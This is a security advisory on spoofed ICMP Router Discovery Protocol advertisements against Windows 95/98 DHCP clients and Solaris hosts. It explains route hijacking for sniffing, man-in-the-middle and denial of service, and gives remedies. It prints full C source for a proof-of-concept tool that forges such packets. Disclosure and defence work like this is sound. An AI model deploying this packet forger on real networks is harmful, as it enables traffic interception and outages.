COMMAND
ICMP Router Discovery Protocol (IRDP)
SYSTEMS AFFECTED
Win95a (w/winsock2), Win95b, Win98, Win98se, SunOS/Solaris
PROBLEM
Paul S. Cosis made another L0pht Security Advisory. The ICMP
Router Discovery Protocol (IRDP) comes enabled by default on DHCP
clients that are running Microsoft Windows95 (w/winsock2),
Windows95b, Windows98, Windows98se, and Windows2000 machines. By
spoofing IRDP Router Advertisements, an attacker can remotely add
default route entries on a remote system. The default route
entry added by the attacker will be preferred over the default
route obtained from the DHCP server. While Windows2000 does
indeed have IRDP enabled by default, it less vulnerable as it is
impossible to give it a route that is preferred over the default
route obtained via DHCP. SunOS systems will also intentionally
use IRDP under specific conditions. For Solaris2.6, the IRDP
daemon, in.rdisc, will be started if the following conditions are
met:
. The system is a host, not a router.
. The system did not learn a default gateway from a DHCP server
. The system does not have any static routes.
. The system does not have a valid /etc/defaultrouter file
The ICMP Router Discovery Protocol does not have any form of
authentication, making it impossible for end hosts to tell whether
or not the information they receive is valid. Because of this,
attackers can perform a number of attacks:
Passive monitoring: In a switched environment, an attacker can
use this to re-route the outbound traffic of
vulnerable systems through them. This will
allow them to monitor or record one side of
the conversation.
* For this to work, and attacker must be on the
* same network as the victim.
Man in the Middle: Taking the above attack to the next level, the
attacker would also be able to modify any of
the outgoing traffic or play man in the middle
By sitting in the middle, the attacker can
act as a proxy between the victim and the end
host. The victim, while thinking that they
are connected directly to the end host, they
are actually connected to the attacker, and
the attacker is connected to the end host and
is feeding the information through. If the
connection is to a secure webserver that uses
SSL, by sitting in the middle, the attacker
would be able to intercept the traffic,
unencrypted. A good example of this risk is
on-line banking; an attacker playing
man-in-the-middle would be able to intercept
all of the banking information that is
relayed, without the victim's knowledge.
* For this to work, and attacker must be on the
* same network as the victim.
Denial of Service: Remote attackers can spoof these ICMP packets
and remotely add bad default-route entries
into a victims routing table. Because the
victim's system would be forwarding the frames
to the wrong address, it will be unable to
reach other networks. Unfortunately, DHCP has
quickly become popular and is relied upon in
most companies. In some cases, such as cable
& *DSL modems, users are required to use DHCP.
Because of the large number of vulnerable
systems, and the fact that this attack will
penetrate firewalls that do not stop incoming
ICMP packets, this Denial of Service attack
can become quite severe.
It should be noted that the above attacks are documented in
Section 7, of RFC 1256. However, the RFC states states that the
attacks are launched by an attacker on the same network as the
victim. In the Denial of Service attack, this is not the case; an
attacker can spoof IRDP packets and corrupt the routing tables on
systems that are on remote networks. While these attacks are not
new, the fact that Windows95/98 DHCP clients have been vulnerable
for years, is. On systems running SunOS & Solaris, it is easy to
find documentation on IRDP by looking at the startup scripts or
manpages. On Windows95/98, however, information has only become
recently available in the Knowledge Bank.
Upon startup, a system running MS Windows95/98 will always send 3
ICMP Router Solicitation packets to the 224.0.0.2 multicast
address. If the machine is NOT configured as a DHCP client, it
ignores any Router Advertisements sent back to the host. However,
if the Windows machine is configured as a DHCP client, any Router
Advertisements sent to the machine will be accepted and processed.
Once an Advertisement is received, Windows checks to see how many
Gateway entries the packet contains. If the packet contains only
1 entry, it checks to make sure the IP source address of the
Advertisement is inside the hosts subnet. If it is, the Router
Address entry inside the advertisement is checked to see that it
is also within the host's subnet. If so, a new default route
entry is added. If the address is outside the subnet, it the
advertisement is silently ignored. If a host receives a Router
Advertisment that contains 2 or more Router Addresses, the host
will processes the packet even though the IP source address is
not local. If the host finds a Router Address inside the
advertisement that is inside the host's subnet, it will add a
default route entry for it. Because the host does not care about
the IP source address of the Advertisement as long as it has more
than one entry, attackers can now create bogus IRDP packets that
will bypass anti-spoofing filters.
Before the host can add a new default route entry, it has to
determine the route metric. On Windows95/98, normal default route
entries obtained from a DHCP server have a metric of 1. In order
to determine the metric for the default route entry obtained via
IRDP, the Windows host subtracts the Advertisement's Preference
value from 1000. By creating an ICMP Router Advertisement with a
preference of 1000, the default gateway route added will have a
metric of 0, making it the preferred default route. By adjusting
the Lifetime value in the advertisement, an attacker can adjust
how many seconds the gateways are valid for.
L0pht is making available Proof-of-Concept code that will let
individuals test their systems & firewalls. The source code can
be found at:
http://www.l0pht.com/advisories/rdp.tar.gz
Same code follows below in two parts: rdp.h and icmp_rdp.c.
rdp.h:
struct icmp_rdp_head {
u_char type;
u_char code;
u_short cksum;
union {
u_char unused[4];
struct addy {
u_char number_of_addrs;
u_char addr_entry_size;
u_short lifetime;
} a;
} u;
};
struct icmp_rdp_advert {
u_long ira_addr;
u_long ira_preference;
};
struct values {
u_long sourceaddr;
u_long destaddr;
u_long routeraddr;
u_long routeraddr2;
int lifetime;
int delay;
int num_pkts;
int id;
int pref;
int verbose;
};
#define ETHER 0
#define NO_ETHER 1
#define ICMP_ROUTERADVERT 9
icmp_rdp.c:
/* 08/05/99
* proof of concept tool by:
* Silicosis (sili@l0pht.com) & Mudge (mudge@l0pht.com)
*
* Compile:
* gcc -g -o rdp icmp_rdp.c -lsocket -lnsl -lnet -lpcap
*
* Requires Libnet http://www.packetfactory.net/
* libpcap ftp://ee.lbl.gov/libpcap.tar.Z
*
* Tested under Solaris 2.6 & 2.7
*/
#include <stdlib.h>
#include <pcap.h>
#include <net/bpf.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include "rdp.h"
#define SNAPLEN 4096
#define PROMISC 1 /* 1 == TRUE, 0 == FALSE */
void print_packet(char *, unsigned int);
void print_icmp_rdisc(const char *pkt, unsigned int len, int flag);
pcap_t * getCaptureDev(char *device);
u_long getSourceAddr(const char *packet, unsigned int len);
void send_icmp_rdisc_response(int sock, struct values *value_pass);
void usage(char *);
int main(int argc, char *argv[]){
char *interfaceStr = NULL;
const u_char *pkt;
extern char *optarg;
int c, sock;
int listen_flag=0, send_flag=0;
pcap_t *capDev;
struct pcap_pkthdr pkthdr;
struct values value_pass;
/* zero out the values struct */
memset(&value_pass, '\0', sizeof(struct values));
/* preset a few things here... */
value_pass.lifetime = 1800;
value_pass.pref = 1000;
value_pass.routeraddr2 = 0;
while ((c = getopt(argc, argv, "vlsp:d:n:I:t:i:S:D:R:r:")) != EOF){
switch (c) {
case 'v': /* VERBOSE */
value_pass.verbose++;
break;
case 'l': /* Listen mode */
listen_flag++;
break;
case 's': /* Send mode */
send_flag++;
break;
case 'p': /* preference level to attach to outgoing response */
value_pass.pref = strtoul(optarg, (char **)NULL, 10);
break;
case 'd': /* delay value in sending out packets *
value_pass.delay = atoi(optarg);
break;
case 'n': /* number of router advert packets to send */
value_pass.num_pkts = atoi(optarg);
break;
case 'I': /* ID value to place in IP packet */
value_pass.id = atoi(optarg);
break;
case 't': /* lifeTime for rdp packet */
value_pass.lifetime = atoi(optarg);
break;
case 'i': /* INTERFACE */
interfaceStr = optarg;
break;
case 'S': /* Source IP address to place in packet */
value_pass.sourceaddr = libnet_name_resolve(optarg, 1);
break;
case 'D': /* Dest IP address to place in packet */
value_pass.destaddr = libnet_name_resolve(optarg, 1);
break;
case 'R':
value_pass.routeraddr = libnet_name_resolve(optarg, 1);
break;
case 'r':
value_pass.routeraddr2 = libnet_name_resolve(optarg, 1);
break;
default:
usage(argv[0]);
}
}
/********************************************************
* make sure the command line makes some sense... *
********************************************************/
/* if no interface was specified default to sun's hme0 */
if (!interfaceStr)
interfaceStr = "hme0";
if (!listen_flag && !send_flag)
usage(argv[0]);
if (send_flag && !listen_flag && (value_pass.destaddr == 0)){
/* if we are *just* sending then we need a dest
addr... */
usage(argv[0]);
}
/********************************************************
* fill in values with defaults that weren't explicitly *
* specified... *
********************************************************/
if ( value_pass.sourceaddr == 0 )
value_pass.sourceaddr = inet_addr("1.1.1.1");
if ( value_pass.routeraddr == 0 )
value_pass.routeraddr = value_pass.sourceaddr;
/* grab the socket for sending if specified */
if (send_flag){
if ((sock = libnet_open_raw_sock(IPPROTO_RAW)) == -1){
perror("socket: ");
exit(1);
}
}
/********************************************************
* Go at it - this is the entire high level section to *
* do the dirty work *
********************************************************/
if (listen_flag){
capDev = (pcap_t *)getCaptureDev(interfaceStr);
while (1){
pkt = pcap_next(capDev, &pkthdr);
if (!pkt)
continue;
#ifdef DEBUG
print_packet(pkt, pkthdr.caplen);
#endif
if (send_flag){
if (value_pass.destaddr == 0){ /* grab the dest addr from the
sniffed packet */
value_pass.destaddr = getSourceAddr(pkt, pkthdr.caplen);
}
send_icmp_rdisc_response(sock, &value_pass);
}
if (value_pass.verbose){
print_icmp_rdisc(pkt, pkthdr.caplen, ETHER);
}
pkt = NULL;
}
} else { /* just sending */
send_icmp_rdisc_response(sock, &value_pass);
}
/**********************************************************
* We're done *
**********************************************************/
exit(0);
}
void print_packet(char *packet, unsigned int len){
int i;
printf("-[packet len: %d]-\n", len);
for (i=0; i < len; i++){
if (i != 0 && i%20 == 0)
printf("\n");
printf("%.2x ", packet[i] & 0xff);
}
printf("\n");
}
/*****************************************************************
* function: print_icmp_rdisc(const char *, u_int, int ) *
* returns: none *
* *
* description: this routine prints out an ICMP packet in human *
* readable format. This should only be handed *
* ICMP packets with type code of 9 or 10... *
* router advertisement or router solicitation *
* packets. *
* Little, if any, sanity checking is done here... *
* If the final value is ETHER then it is assumed *
* that an ether header is attached - otherwise *
* NO_ETHER should be sent to this function *
*****************************************************************/
void print_icmp_rdisc(const char *pkt, unsigned int len, int flag){
struct ip ipheader; /* done as a quick and easy force of alignment on
sparcs */
struct icmp_rdp_head rdp_head;
char hold1[24], hold2[24];
struct in_addr in_addr_holder;
int i;
char *ptr;
/* smallest packet we should get would be a full ICMP router solicitation
which would be ether (14 bytes), IP (minimum of 20 bytes w/o options),
and ICMP router solicitation (8 bytes) 14+20+8 == 42
without ether would be IP + ICMP or 28 */
switch(flag){
case ETHER:
if (len < 42){
fprintf(stderr, "Something's wrong... ether packet too short\n");
return;
}
memcpy(&ipheader, pkt + 14, sizeof(struct ip));
memcpy(&rdp_head, ((char *)pkt + 14 + (ipheader.ip_hl << 2)),
sizeof(struct icmp_rdp_head));
ptr = (char *)pkt + 14 + (ipheader.ip_hl << 2) + 8;
break;
case NO_ETHER:
if (len < 28){
fprintf(stderr, "Something's wrong... IP packet too short\n");
return;
}
memcpy(&ipheader, pkt, sizeof(struct ip));
memcpy(&rdp_head, ((char *)pkt + (ipheader.ip_hl << 2)),
sizeof(struct icmp_rdp_head));
ptr = (char *)pkt + (ipheader.ip_hl << 2) + 8;
break;
}
strncpy(hold1, inet_ntoa(ipheader.ip_src), sizeof(hold1));
strncpy(hold2, inet_ntoa(ipheader.ip_dst), sizeof(hold1));
switch(rdp_head.type){
case 10:
printf("-=[ICMP router solicitation]=- ");
printf(" %s -> %s\n", hold1, hold2);
printf("[type %d - code %d - checksum 0x%4x]\n\n", rdp_head.type,
rdp_head.code, rdp_head.cksum);
break;
case 9:
printf("-=[ICMP router advertisement]=- ");
printf(" %s -> %s\n", hold1, hold2);
printf("[type %d - code %d - checksum 0x%4x]\n", rdp_head.type,
rdp_head.code, rdp_head.cksum);
printf("[addr # - %d - addr sizes - %d lifetime %d]\n",
rdp_head.u.a.number_of_addrs, rdp_head.u.a.addr_entry_size,
rdp_head.u.a.lifetime);
/* currently one should only see address entry sizes of 2, this
handles the [1]router address and [2]preference level - since
this is a proof of concept little tool and the current RFC (rfc1256)
lists the current value at 2 we will "assume" as much, though we
will still do some minimal sanity checking */
if (rdp_head.u.a.addr_entry_size != 2){
printf("-=[%d is a non-standard value for the current RFC (1256)]=-\n",
rdp_head.u.a.addr_entry_size);
return;
}
#ifdef DEBUG
printf("DEBUG: rdp_head.u.a.number_of_addrs << 1 = %d\n",
"len - 14 - (ipheader.len << 2) - 8 = %d\n\n",
(rdp_head.u.a.number_of_addrs << 1), (len - 14 -
(ipheader.ip_hl << 2) - 8));
#endif
#ifdef OUT
switch(flag){
case ETHER:
if ( (rdp_head.u.a.number_of_addrs << 1) != (len - 14 -
(ipheader.ip_hl << 2) - 8) ){
printf("size mismatch with ether\n");
return;
}
break;
case NO_ETHER:
if ( (rdp_head.u.a.number_of_addrs << 1) != (len -
(ipheader.ip_hl << 2) - 8)){
printf("size mismatch with IP\n");
return;
}
break;
}
#endif
for(i=0; i < rdp_head.u.a.number_of_addrs ; i++){
memcpy(&in_addr_holder, ptr, sizeof(struct in_addr));
printf("router %s - ", inet_ntoa(in_addr_holder));
ptr += 4;
printf("preference %d\n", *(u_short *)ptr);
ptr += 4;
}
printf("\n\n");
break;
}
}
void usage(char *prog){
char *ptr;
ptr = (char *)strrchr(prog, '/');
if (ptr)
ptr++;
else
prog = ptr;
printf("ICMP Router Discovery Protocol Generator\n");
printf("Usage: %s -v -l -s -d <delay> -p <pref>",ptr);
printf(" -t <lifetime> -i <dev>\n\t -S <src> -D <dst> -R <rtr>");
printf(" -r <optional 2nd rtr>\n\n");
printf("\t-v verbose\n\t-l listen mode\n\t-s send mode\n");
printf("\t-d <delay time between sending packets>\n");
printf("\t-n <number of rdp packets to send>\n");
printf("\t-I <ID value to place in IP packet>\n");
printf("\t-p <preference level>\n\t-t <lifetime>\n");
printf("\t-i <interface to use for sniffing>\n");
printf("\t-S <source address to put in outgoing rdp packet>\n");
printf("\t-D <destination address to put in outgoing rdp packet>\n");
printf("\t-R <router address to advertise in rdp packet>\n");
printf("\t-r <optional 2nd router address to advertise in rdp packet>\n\n");
exit(1);
}
pcap_t * getCaptureDev(char *device){
pcap_t *capDev;
char pcaperror[PCAP_ERRBUF_SIZE];
/* tcpdump -dd proto 1 and 'icmp[0] == 9 or icmp[0] == 10' */
static struct bpf_insn rdp[] = {
{ 0x28, 0, 0, 0x0000000c },
{ 0x15, 0, 9, 0x00000800 },
{ 0x30, 0, 0, 0x00000017 },
{ 0x15, 0, 7, 0x00000001 },
{ 0x28, 0, 0, 0x00000014 },
{ 0x45, 5, 0, 0x00001fff },
{ 0xb1, 0, 0, 0x0000000e },
{ 0x50, 0, 0, 0x0000000e },
{ 0x15, 1, 0, 0x00000009 },
{ 0x15, 0, 1, 0x0000000a },
{ 0x6, 0, 0, 0x00000044 },
{ 0x6, 0, 0, 0x00000000 }
};
struct bpf_program prog;
capDev = pcap_open_live(device, SNAPLEN, PROMISC, 0, pcaperror);
if (!capDev){
fprintf(stderr, "%s\n", pcaperror);
exit(1);
}
/* set the filter - this will cause us to only look at icmp packets
that are either router advertisements or router solicitations.
These are icmp type 9 and 10 respectively */
prog.bf_len = sizeof(rdp) / sizeof(struct bpf_insn);
prog.bf_insns = rdp;
if (pcap_setfilter(capDev, &prog) != 0){
fprintf(stderr, "failed to correctly set filter - D'oh!\n");
exit(1);
}
return capDev;
}
u_long getSourceAddr(const char *packet, unsigned int len){
struct ip ip_packet;
memcpy(&ip_packet, packet + 14, sizeof(struct ip));
return(ip_packet.ip_src._S_un._S_addr);
}
void send_icmp_rdisc_response(int sock, struct values *value_pass){
/*
There are three ether addresses and three IP addresses that we should
be attempting here to see who responds how -
Router Advertisements
Ether: 01:00:5e:00:00:01
Ether: ff:ff:ff:ff:ff:ff
Ether: unicast back to whomever sent the Solicitation
IP: 224.0.0.1
IP: 255.255.255.255
IP: unicast back to whomever sent the Solicitation
Router Solicitations
Ether: 01:00:5e:00:00:02
Ether: ff:ff:ff:ff:ff:ff
Ether: try the unicast address of a router who has a multicast
interface
IP: 224.0.0.2
IP: 255.255.255.255
IP: unicast to address of a router who has a multicast interface
The Ether multicast address is created as follows: The least significant
23 bits of the ip address are placed into the least significant 23 bits
of the Ethernet multicast addr 01:00:5e:00:00:00. Thus 224.0.0.2
maps to 01:00:5e:00:00:02, etc.
As for the actual RDP packet :
ICMP Router Discovery Protocol
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Type | Code | Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Num Addrs |Addr Entry Size| Lifetime |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Router Address[1] |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Preference Level[1] |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
*/
u_char *packet;
struct icmp_rdp_head icmpPkt;
struct icmp_rdp_advert ap;
struct icmp_rdp_advert bp;
struct ip *ip;
int icmplen, acx;
if (value_pass->routeraddr2 !=0)
icmplen = 24;
else
icmplen = 16;
if ((packet = malloc(sizeof(struct ip) + icmplen)) == NULL) {
perror("malloc: ");
return;
}
/* sanitize... */
memset(packet, '\0', sizeof(struct ip) + icmplen);
libnet_build_ip(icmplen, /* Size of the payload */
0, /* IP TOS */
value_pass->id == 0 ? 12345+(random()%100): value_pass->id,
/* IP ID */
0, /* frag offset+flags */
255, /* TTL - this is
intentionally larger than
what rfc 1256 wants */
IPPROTO_ICMP, /* Protocol */
value_pass->sourceaddr, /* Source IP */
value_pass->destaddr, /* Dest IP */
NULL, /* ptr to payload */
0,
packet); /* da packet */
/* Create ICMP Header */
memset(&icmpPkt, '\0', sizeof(struct icmp_rdp_head));
icmpPkt.type = ICMP_ROUTERADVERT;
icmpPkt.code = 0;
if (value_pass->routeraddr2 != 0){
icmpPkt.u.a.number_of_addrs = 2;
icmpPkt.u.a.addr_entry_size = 2;
icmpPkt.u.a.lifetime = htons(value_pass->lifetime);
memcpy((char *)(packet + sizeof(struct ip)), &icmpPkt,
sizeof(struct icmp_rdp_head));
/* Create ICMP Router Advertisement */
ap.ira_addr = value_pass->routeraddr;
ap.ira_preference = htonl(value_pass->pref);
memcpy(packet + sizeof(struct ip) + sizeof(struct icmp_rdp_head),
&ap, sizeof(struct icmp_rdp_advert));
/* Add the 2nd router.. */
ap.ira_addr = value_pass->routeraddr2;
memcpy(packet + sizeof(struct ip) + sizeof(struct icmp_rdp_head) +
sizeof(struct icmp_rdp_head), &ap, sizeof(struct icmp_rdp_advert));
}
else {
icmpPkt.u.a.number_of_addrs = 1;
icmpPkt.u.a.addr_entry_size = 2;
icmpPkt.u.a.lifetime = htons(value_pass->lifetime);
memcpy((char *)(packet + sizeof(struct ip)), &icmpPkt,
sizeof(struct icmp_rdp_head));
/* Create ICMP Router Advertisement */
ap.ira_addr = value_pass->routeraddr;
ap.ira_preference = htonl(value_pass->pref);
memcpy(packet + sizeof(struct ip) + sizeof(struct icmp_rdp_head),
&ap, sizeof(struct icmp_rdp_advert));
}
/* Generate ICMP checksum. IP checksum *should* be handled *correctly*
by the kernel */
libnet_do_checksum(packet, IPPROTO_ICMP, icmplen);
/* Send xx packets.. */
/* pre-load to send one packet if no number was specified */
if (value_pass->num_pkts == 0)
value_pass->num_pkts = 1;
for (acx = 0; acx < value_pass->num_pkts; acx++){
if (libnet_write_ip(sock, packet, (sizeof(struct ip) + icmplen)) <
(sizeof(struct ip) + icmplen))
perror("write_ip: ");
else {
if (value_pass->verbose)
print_icmp_rdisc(packet, sizeof(struct ip) + icmplen, NO_ETHER);
if (value_pass->delay)
sleep(value_pass->delay);
}
}
}
SOLUTION
Firewall / Routers:
Block all ICMP Type 9 & Type 10 packets. This should protect
against remote Denial of Service attacks.
Windows95/98:
The Microsoft Knowledge Base contains an article that gives
info on how to disable IRDP. It can be found at:
http://support.microsoft.com/support/kb/articles/q216/1/41.asp
Brief Summary of article:
IRDP can be disabled manually by adding
"PerformRouterDiscovery" value name and
setting it to a dword value of 0, under
the following registry key(s):
HKLM\System\CurrentControlSet\Services\Class\NetTrans\####
Where #### is the binding for TCP/IP.
More than one TCP/IP binding may exist.
Solaris:
Configure your host to obtain a default gateway through DHCP,
static routes, or via the /etc/defaultrouter file. For more
information on IRDP refer to in.rdisc's man-page.
L0pht has released a NFR Intrusion Detection Module to detect both
Router Solicitations and Advertisements. You can find it at:
http://www.l0pht.com/NFR
NFR information can be found at
http://www.nfr.net